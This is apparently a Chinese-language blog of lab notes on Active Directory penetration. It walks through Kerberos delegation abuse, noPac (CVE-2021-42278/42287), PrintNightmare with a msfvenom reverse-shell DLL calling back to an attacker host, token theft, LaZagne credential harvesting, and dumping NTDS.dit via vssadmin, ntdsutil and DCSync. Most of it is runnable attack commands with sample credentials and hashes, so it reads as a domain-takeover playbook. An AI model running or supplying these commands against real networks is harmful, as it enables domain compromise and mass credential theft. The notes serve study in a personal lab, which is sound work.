Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

账号 svc_sharepoint 密码 Password123!

概述那里我们讲了在约束委派的情况下，服务用户只能获取某个用户（或主机）的服务的ST，所以只能模拟用户访问特定的服务，是无法获取用户的TGT，如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash，我们就可以伪造S4U请求，进而伪装成服务用户以任意账户的权限申请访问某服务的ST

已经知道服务用户明文的条件下，我们可以用kekeo请求该用户的TGT

https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214

1
2


tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123!
tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d

得到服务用户TGT

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问域控的CIFS的ST

拿到了两个TGS

用mimikatz将cifs的票据导入

1
2
3
4


#清空一下
klist purge
klist
kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~WindowsServerAD.test.local@TEST.LOCAL.kirbi

成功这里都行非约束委派那里可能获得的票据确实有问题具体问题在哪还不清楚但至少 kokeo 软件拿到的票据能导入认证的

如果我们不知道服务用户的明文和NTLM Hash，但是我们有了服务用户登陆的主机权限（需要本地管理员权限），我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

1

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注：sekurlsa::tickets是列出和导出所有会话的Kerberos票据，sekurlsa::tickets和kerberos::list不同，sekurlsa是从内存读取，也就是从lsass进程读取，这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制，sekurlsa可以访问其他会话（用户）的票证。

我们再试一下这种导出的操作看看是不是跟之前一样还会导入失败

1
2


# 让服务账户在本机登陆一次 不然没有票据 输入下面的命令在输入密码即可 模拟登录
runas /user:test\svc_sharepoint cmd.exe

mimikatz成功导出了这是我们创建的服务账户

但是还是利用失败

1

tgs::s4u /tgt:[0;25bcdd]-2-0-40e10000-svc_sharepoint@krbtgt-TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/WindowsServerAD.test.local

但是我们还有Rubeus

1
2
3
4
5
6


后续的流程也是 读取到了写入本地 然后访问域控 流程都一样
但是这个有个缺点 就是服务账户必须登录之后不能断开 才能获取到
mimikatz的方法我还是记住吧 后续先用那个mimikatz 不行再用这个
# runas开一个cmd不要关
runas /user:test\svc_sharepoint cmd.exe
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint

右边就是svc_sharepoint的cmd(窗口关了啥就都没了)

1
2
3


# 用这个保存到本地 好复制
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap >> ticket.txt
Rubeus.exe ptt /ticket:[base64]

dir \WindowsServerAD.test.local\c$

非约束委派和约束委派Get域控权限

非约束委派拿 shell 很简单直接

1
2
3


# 当导入了administrator的票据的时候 其实就跟域管没区别了 但是要测试话都试一下吧
Enter-PSSession -ComputerName WindowsServerAD
lsadump::dcsync /domain:test.local /all /csv

约束委派拿 shell

我们都知道TGT的生成是由krbtgt用户加密和签名的，如果我们能委派域上的用户去访问TGS，那么就可以伪造任意用户的TGT了，黄金票据通常情况下我们是用krbtgt的hash来伪造TGT，不过我们通过约束委派也能达到同样的效果。

注：TGS默认的spn是krbtgt/domain name，我们操作环境是krbtgt/test.local

krbtgt默认是禁用的而且无法启用，所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

这里我来解释一下上面原文作者提到的意思是我们这个服务账号也就是这个约束委派账号它默认是没有 krbtgt 权限的也就是默认被禁用了但是呢我要利用黄金票据就得用krbtgt(这个服务账户其实已经有了个 cifs 权限是我们之前配置的) 我这里无法给这个服务账户委派krbtgt 下面我只会粘贴原作者成功的方法然后我会利用 cifs 来拿下域控原作者的方法用分割线隔开

1
2
3


Import-Module ActiveDirectory
$user = Get-ADUser svc_sharepoint
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local") }

注：域控默认安装ActiveDirectory，如果没有安装，可以下载dll：下载地址，然后导入就行了：import-module .\Microsoft.ActiveDirectory.Management.dll

上面有个 PowerView.ps1 的地址这里再放一下吧

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

1
2
3


Import-Module .\PowerView.ps1
Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,"msds-allowedtodelegateto" | Format-List

我们可以用impacket系列的getST向KDC请求administrator的TGT

1

python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

我这里复现失败了貌似是因为版本过高导致krbtgt无法被委派出来这里做记录各种各样的委派方式其实有各种各样的方法如果遇到了直接去搜就行了

这里还是用 cifs 吧

1

python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

ccache 直接 PTC 就行了这个在我另一个页面写了有这里搬过来就行了

1
2
3


mimikatz.exe
privilege::debug
kerberos::ptc TGT_Administrator@MAO.COM.ccache

1
2


misc::cmd
dir \\WindowsServerAD.test.local\c$

~~wmiexec~~

1
2
3
4
5
6


set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache
python C:\Users\tony\AppData\Local\Programs\Python\Python313\Scripts\wmiexec.py test.local/administrator@WindowsServerAD.test.local -k -no-pass

export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass support.htb/administrator@dc.support.htb
psexec.py -k -no-pass support.htb/administrator@dc.support.htb

这一步执行命令拿下 shell 我并没有成功主要是目前我用的 cifs 并没有 wmi 服务的访问权限

因为我们拿到的 ST 票据是administrator权限的cifs并没有其他的仅限此服务

接下来先不按照作者方法来实现了他的步骤我都打了删除线下面直接利用cifs来getshell上面已经导入了

导出域控上所有用户以及主机的hash #这个是没问题的利用的是 smb 或者 cifs 权限来读取域数据库

1
2


set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache
python secretsdump.py -no-pass -k WindowsServerAD.test.local

这里拿下域控的方法有很多用一下 PTH 就行了

1
2
3
4
5


mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe

PsExec64.exe \\192.168.0.110 cmd

1
2
3


# wmi和smb 也是经典的PTHgetshell的方法 主要是看开了哪个服务
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110

win11 不在域内指定 IP 就行

kali 不在域内指定 IP 也可以

win10 在域内指定主机名就行因为走的是域控的 dns

此时我们再做黄金门票是没任何问题的

再次放一下原作者和参考的博客里面也有防御方式

https://xz.aliyun.com/t/7217

https://www.freebuf.com/articles/network/290860.html

基于资源的约束委派的利用

1
2
3
4


# 先创建机器账户 test:123456
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

1
2
3
4
5


# 然后设置委派 查sid
import-module .\PowerView.ps1
Get-NetComputer test -Properties objectsid

S-1-5-21-3072663084-364016917-1341370565-9602

1
2
3
4
5
6
7


# 修改FOREST的msds-allowedtoactonbehalfofotheridentity的值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer FOREST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# FOREST为域控主机名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

域渗透：域内提权

Sat, 23 Nov 2024 11:08:00 +0800

一、 CVE-2021-42278/CVE-2021-42287

参考:

https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds

https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45

https://cloud.tencent.com/developer/article/1922502

在这篇文章中，我们将描述这些漏洞的利用方式，并展示如何通过 FortiEDR 缓解攻击。

受影响的平台： Windows 受影响的用户： 任何具有 Active Directory 环境的组织 影响： 非特权用户可以将权限升级为域管理员 严重程度： 严重

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


影响范围
CVE-2021-42287：
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
CVE-2021-42278：
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)

漏洞利用与遥测

从高层次来看，成功利用漏洞需要以下步骤：

新的计算机帐户已添加到域中。
创建的计算机帐户被重命名为与现有域控制器的名称匹配（不带尾随的“ $ ”）
使用更新的计算机帐户名请求 Kerberos TGT。
创建的计算机帐户名再次重命名为其原始（或任何）值。
使用S4U2self扩展请求 Kerberos 服务票证。

然后，可以使用获取的服务票证来使用域控制器上的任何服务。下面显示的漏洞利用 ST 使用CIFS获取 SYSTEM shell 。

CVE-2021-42278 - 无效的计算机帐户名称

Active Directory 环境中的计算机帐户名称应始终以“$”结尾，但这并不正确。计算机帐户名称属性为“sAMAccountName”。可以使用 ADSIEdit 工具手动查看和编辑此属性，如图 1 所示。

在存在漏洞的机器上，可以将其重命名为域控制器帐户名，这是利用链中的关键步骤。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


CVE-2021-42278漏洞特点：
1. 漏洞本质：
- Active Directory允许修改机器账户的sAMAccountName
- 可以删除机器账户名称末尾的$符号
- 甚至可以改名为域控制器的名称(不带$)

2. 正常情况下：
机器账户：WIN10$
域控账户：DC01$
- 机器账户必须以$结尾
- 这是一个安全限制

3. 漏洞利用：
- 可以把普通机器账户改名为域控名字(不带$)
- 例如：将WIN10$改为DC01
- 造成身份混淆
=======================================================================
1. 正常的计算机账户：
hostname: WIN10
sAMAccountName: WIN10$

2. 利用漏洞后：
hostname: WIN10
sAMAccountName: WindowsServerAD # 改成域控名字，不带$

安全主体名称

安全主体名称 (SPN) 是用于标识经过身份验证的实体的名称，例如 machinename$@domainname。Kerberos使用[SPN作为各种实体身份验证过程的一部分。它基本上是服务实例的唯一标识符，](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20(SPN,with%20a%20service%20logon%20account.&text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.)[Kerberos](https://www.fortinet.com/resources/cyberglossary/kerberos-authentication?utm_source=blog&utm_medium=blog&utm_campaign=blog-kerberos-authentication)身份验证使用它来将服务实例与服务登录帐户关联起来。

尝试将计算机帐户重命名为域控制器帐户时，这可能会带来问题，因为更改 samAccountName 属性将触发对该帐户的 SPN 的相应更改。更改它的尝试将失败，因为具有此名称的 SPN 已经存在。为了克服这个问题，可以清除计算机“servicePrincipalName”属性。因此，利用此漏洞还需要编辑“servicePrincipalName”属性的权限。

我们开始配置环境

操作环境：

域：test.local
域控：windows server 2022，主机名：WindowsServerAD，IP：192.168.0.110，用户：administrator
域内主机：windows 10，主机名：win10，IP：192.168.0.104，用户：jerry

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


以下在域内主机win10上运行
配置环境 ：

利用 powermad.ps1 新增机器帐号
下载地址：https://github.com/Kevin-Robertson/Powermad
直接导入会报错 参考https://www.jianshu.com/p/a0a88d3bb787

Set-ExecutionPolicy RemoteSigned
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount testuser1 -Domain test.local -DomainController WindowsServerAD.test.local -Verbose

# 如果上面的方法一直提示权限不够 就用下面这个 需要当前域内账号的账号密码
python addcomputer.py -computer-name 'testuser1' -computer-pass 'Password123!' 'test.local/jerry:Password123!' -dc-ip 192.168.0.110

目前账号已经创建完了(这里可以图形化界面操作 adsiedit.msc)

1
2
3
4


# 清除SPN
Set-ADComputer testuser1 -Clear servicePrincipalName
# 配置计算机账户名 配成域控的主机名就行了
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "WindowsServerAD" -Attribute samaccountname -Verbose

CVE-2021-42287 - Kerberos 密钥分发中心混乱

Kerberos 密钥分发中心 (KDC) 是 Active Directory 的一项服务，用于处理 Kerberos 票证请求。票证授予票证 (TGT) 是一种特殊类型的票证，可用于获取其他票证。TGT 用于从票证授予服务 (TGS) 请求域中特定资源/系统的访问令牌。当发送服务票证请求但未找到时，KDC 将自动查找附加有“$”的请求票证。S4U2self （即用户对自己的服务）是一种扩展，允许服务为自己获取 Kerberos 服务票证。服务票证包含用户的组，因此可用于授权决策。所有 Active Directory 术语和完整解释均可在此处找到。

如果用户获得 TGT，然后被删除，并且之前获得的 TGT 用于为自己请求其他用户的服务票证（基本上就是 S4U2self），则可能会触发此漏洞。在这种情况下，将找不到该用户，并将执行以附加“$”查找该用户的操作。如果存在具有该名称的域控制器帐户，则会向请求用户授予服务票证，从而使请求用户成为域管理员。

但是这里也可以自行创建个账户即使不在域内如果有域控创建用户的权限的话

请求TGT

1

.\Rubeus.exe asktgt /user:WindowsServerAD /password:Password123! /domain:test.local /dc:WindowsServerAD.test.local /nowrap

然后删除或者改回原名都可以

当用户被删除后，KDC在S4U2self过程中：

先查找没有$的账户名

找不到后，会自动尝试加$查找

如果存在同名的域控账户，就会授予高权限

1
2


Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "testuser1$" -Attribute samaccountname -Verbose

这里命令行操作也可以 adsiedit.msc

请求域控的 ST

1

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:LDAP/WindowsServerAD.test.local /ptt /ticket:[base64]

这里的 base64 是上面获取到的 TGT 的 base64 编码

成功拿到了 ST 因为我们使用了/ptt 参数这里已经写入票据了

原作者也提到了我们拿的是 ldap 权限所以无法访问共享目录

重新生成 ST

1

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:cifs/WindowsServerAD.test.local /ptt /ticket:

自动化-noPac

https://github.com/cube0x0/noPac

需要自行编译也需要域内主机有.NET 环境使用方法如下

1
2
3
4


noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'
noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt

我这里已经编译好了

1
2


# 输入域内主机的账号密码 测试看看是否存在漏洞
noPac.exe scan -domain test.local -user jerry -pass Password123!

1
2


# 创建机器账户 然后修改计算机账户名为域控的主机名
noPac.exe -dc WindowsServerAD.test.local -mAccount testuser1 -mPassword Password123!

之前命令行的时候报权限不够这里也一样但是使用 impacket 的 addcomputer.py 是可以的

还有两个一键利用的方法我就不用了需要的话改一下就能用一键利用里面会加上创建用户的命令但是我创建用户会报权限不够所以没办法导致这个 exp 也不行

后续可以参考原作者

https://cloud.tencent.com/developer/article/1922502

主要讲了获取域控管理员权限之后新建域用户加入域管然后通过该新建域账户接管域控

二、PrintNightmare(CVE-2021-34527)

创建恶意 DLL

1

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

https://github.com/cube0x0/CVE-2021-1675

1

python3 CVE-2021-1675.py My.local/bob:Pass123@192.168.0.251'\\192.168.0.106\\public\\rev.dll'

主要是用于提权

域渗透：工具问题排查

Wed, 20 Nov 2024 11:34:00 +0800

一、wmiexec乱码

1
2
3
4
5


# 先在目标机器执行
chcp
# 假设返回936
# 然后执行wmiexec带编码参数
python wmiexec.py -codec cp936 -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111

二、vmware tool无法安装

搭建域环境的时候遇到的问题我的漏洞版本 windows server 2012 R2 无法安装vmware tool 导致传输文件复制粘贴特别麻烦网上的中文教程都有问题

https://netwoven.com/cloud-infrastructure-management/windows-server-2012-r2-error-required-kb2919355/

这个介绍了该如何操作不按照顺序就是会出问题但还是有点小问题下面有解决办法

要下载的东西

#Windows8.1-KB2919442-x64在这个网址里这个也要下载

https://www.microsoft.com/en-us/download/details.aspx?id=42162

Windows 补丁下载地址：Windows8.1-KB2919355-x64 位于https://www.microsoft.com/en-us/download/details.aspx?id=42335 全都要下载

运行窗口更新所有，包括可选的
运行clearcompressionflag.exe（与修复补丁堆栈一起下载），它将在后台运行，因此请等待一分钟再安装修复补丁
按此顺序手动下载并安装补丁
Windows8.1-KB2932046-x64
Windows8.1-KB2934018-x64
Windows8.1-KB2937592-x64
Windows8.1-KB2938439-x64
Windows8.1-KB2959977-x64
Windows8.1-KB2919442-x64
Windows8.1-KB2919355-x64

安装完该重启就重启就行

然后安装vmware tool

https://packages.vmware.com/tools/releases/

找个喜欢的版本就行下载他的iso文件比如这个

新建一个CD/DVD 添加就行了然后将ISO放进去这时候在计算机就有这样一个盘了

打开

运行一直点下一步就OK了

域渗透：卷影拷贝与 CVE-2020-1472

Wed, 20 Nov 2024 10:08:00 +0800

参考

https://0range-x.github.io/2021/11/22/CVE-2020-1472

https://cloud.tencent.com/developer/article/1727748

https://blog.csdn.net/Captain_RB/article/details/120643838

1、token窃取

一、Token的作用

1）令牌(token)是系统的临时秘钥，相当于账号和密码，用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下，访问网络和系统资源，这些令牌将持续存在于系统中，除非系统重新启动。

2）令牌最大的特点就是随机性，不可预测，黑客或软件无法猜测出令牌。假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候，需要通过假冒域管理员的令牌进行攻击。

二、令牌的种类

访问令牌(Access Token)：表示访问控制操作主体的系统对象。

会话令牌(Session Token)：是交互会话中唯一的身份标识符。

密保令牌(Security Token)：又叫做认证令牌或硬件令牌，是一种计算机身份校验的物理设备，例如 U 盾。

Windows 的 AccessToken 有两种类型：

Delegation Token：授权令牌，它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)

Impresonation Token：模拟令牌，它是非交互的会话 (例如使用 net use 访问共享文件夹)。

注：两种 token 只在系统重启后清除具有 Delegation token 的用户在注销后，该 Token 将变成 Impersonation，依旧有效。可以这样理解：当前系统中的某个进程或者线程能访问什么样的系统资源，取决于当前令牌的权限。

一开始并不理解为什么非要token 明明目前已经是域管了这里有个解释我觉得很不错

我们通过exp提权或者永恒之蓝等得到的权限即为System，假如我们利⽤mimikatz和hashdump不能获得 administrator⽤户的密码，那我们只能通过令牌窃取进⾏降权，获得administrator⽤户的shell，从⽽以 administrator⽤户的身份启动某些服务 ( 某些服务只能通过administrator⽤户启动 )

重要目的就是我们拿到的system权限 system已经是最高的了吧但是有些服务需要administrator启动我们还需要administrator的shell 但是我们又拿不到密码所以通过token降权这就是一个场景

或者说目标服务器大概率不可能重启因为token只在重启清除

网上目前我没下载到找个程序先列一下命令吧还有其他软件可以替代的

第一种方法 incognito.exe

常用命令：

列举token：incognito.exe list_tokens -u

可以看到因为不是system权限，列举出的token很局限，切换到system权限看下

窃取token： incognito.exe execute -c "SUN\administrator" cmd.exe

incognito.exe execute [options] <token> <command>

第二种方法

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

原理和功能同incognito类似，能够实际提权和降权

列举token：Invoke-TokenManipulation -Enumerate

提权至system：Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

复制进程token：Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500

复制线程token：Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

第三种方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


开启SYSTEM权限的命令行 用于模拟上到下
PsExec.exe -s -i cmd.exe

# 查看当前token
token::whoami
# 提升权限
token::elevate /domainadmin 	# 提升到域管理员
token::elevate /admin 			# 提升到本地管理员
token::elevate 					# 默认提升到SYSTEM
# 恢复token
token::revert

恢复token
privilege::debug
token::elevate

2、LaZagne.exe

这个非常猛基本上他不像其他工具获得管理员的密码什么的他主要是针对某个人物画像来

能获取的密码类型：

浏览器保存的密码
WiFi密码记录
Windows凭据
邮件客户端
开发工具配置

1
2
3


lazagne.exe all # 获取所有密码
lazagne.exe browsers # 只获取浏览器密码
lazagne.exe wifi # 只获取WiFi密码

3、卷影拷贝（获取域控所有hash）

那什么又是ntds.dit?

Ntds.dit文件是域环境中域控上会有的一个二进制文件，是主要的活动目录数据库，其文件路径为域控的 %SystemRoot%\ntds\ntds.dit，活动目录始终会访问这个文件，所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值，为了进一步保护密码哈希值，使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

而在非域环境也就是在工作组环境中，用户的密码等信息存储在SAM文件，想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样，Ntds.dit是默认被Windows系统锁定的。这也是使用mimikatz经常需要导出的文件

`plain ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit system文件位置:C:\Windows\System32\config\SYSTEM sam文件位置:C:\Windows\System32\config\SAM`

导出该文件的方法也是有多种

mimikatz-dcsync

前提:高权限

Mimikatz有一个功能（dcsync），它可以利用目录复制服务（Directory Replication Service, DRS）从NTDS.DIT文件中提取密码哈希值。

DCSync是mimikatz在2015年添加的一个功能，利用的这个原理，通过Directory Replication Service（DRS）服务的GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求，能够用来导出域内所有用户的hash。

DCSync的本质：

利用DRS复制协议
直接请求目标数据
不涉及NTDS.dit文件复制

1
2
3
4
5
6


mimikatz.exe lsadump::dcsync /domain:test.local /all /csv 		//可以通过dcsync直接获取test域内所有用户hash
mimikatz lsadump::dcsync /domain:test.local /user:admin		//获取单个用户的详细信息
mimikatz lsadump::lsa /inject

lsadump::sam # 当前系统SAM
lsadump::sam /system:system.hiv /sam:sam.hiv # 指定文件

vssadmin卷影拷贝

vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具，可用于创建和删除卷影拷贝、列出卷影拷贝的信息，显示已安装的所有卷影拷贝写入程序和提供程序，以及改变卷影拷贝的存储空间的大小等。

适用机器：Windows 10，Windows 8.1，Windows Server 2016，Windows Server 2012 R2，Windows Server 2012，Windows Server 2008 R2，Windows Server 2008

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


vssadmin create shadow /for=C:							//创建c盘卷影拷贝
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit		//在创建的卷影拷贝中将ntds.dit复制到C盘
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM c:\sam.hiv	 //在创建的卷影拷贝中将sam.hiv复制到C盘
同时还需要system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
vssadmin delete shadows /for=c: /quiet

解密ntds.dit
python D:\python3.9\Scripts\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
解密SAM
python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
如果报错 大概率要执行
pip install cryptography==41.0.2

需要注意的是 HarddiskVolumeShadowCopy1 数字会变 根据卷影拷贝的路径来写就行了

Mimikatz主要获取已登录凭据
SAM获取本地账户hash
NTDS.dit获取整个域的hash

ntdsutil.exe

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具，该工具被默认安装在了域控制器上，可以在域控上直接操作，也可以通过域内机器在域控上远程操作，但是需要管理员权限。使⽤ ntdsutil.exe，可以维护和管理活动⽬录数据库、控制单个主机操作、创建应⽤程序⽬录分区、删除由未使⽤活动⽬录安装向导（DCPromo.exe）成功降级的与控制器留下的元数据等。

1

ntdsutil snapshot "activate instance ntds" create quit quit //首先建立快照，该快照包含Windows中的所有文件，且在复制时不会受到Windows锁定机制的影响

1
2


ntdsutil snapshot "mount {ID}" quit quit	 		//加载刚刚的快照
>ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

1
2
3


copy C:\$SNAP_202411192306_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SYSTEM c:\system.hiv
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SAM c:\sam.hiv

//将快照中的三个文件拷贝到c盘

//删除刚才创建的快照

1

ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" "delete {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

除了利用上面那种操作来获取ntds.dit外，还可以利用Ntdsutil.exe创建媒体安装集(IFM)来用于提取NTDS.dit文件。在使用ntdsutil创建创建媒体安装集(IFM)时，会自动进行生成快照、加载、将ntds.dit、计算机的SAM和SYSTEM文件复制到目标文件夹中等操作，我们可以利用该过程获取NTDS.dit文件，需要管理员权限。

Ntdsutil是本地处理 Active Directory 的命令实用程序，并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”，因此被升级的服务器不需要通过网络从另一个DC复制域数据。

当创建一个IFM时，VSS快照会被自动拍摄，挂载，NTDS.DIT文件和相关数据被复制到目标文件夹中。

在域控制器中执行如下命令即可：

1
2
3
4
5
6


ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit		//生成文件
ntdsutil "ac i ntds" "ifm" "create full c:\ntdsutil" q q			//简洁版

直接调用SYSTEM就能解开
secretsdump.py -ntds "Active Directory/ntds.dit" -system registry/SYSTEM LOCAL
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

ZeroLogon (CVE-2020-1472) 漏洞利用

影响系统版本：该 Win2008 后的所有版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

利用条件：

1

攻击者只需要定位域控主机名及IP，并且可以访问域控，就可以在无需任何凭据的情况下拿到域管理员的权限，甚至不需要在域内

注意：域控的机器帐户HASH存储在注册表中，系统启动时会将其加载到lsass，当攻击置空域控HASH后，仅AD (NTDS.DIT) 中的密码会更改，而不是注册表或加载到lsass中的密码，域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时，这样将会导致域控脱域，无法使用Kerberos进行身份验证，因此要尽快恢复。

第1步验证漏洞存在

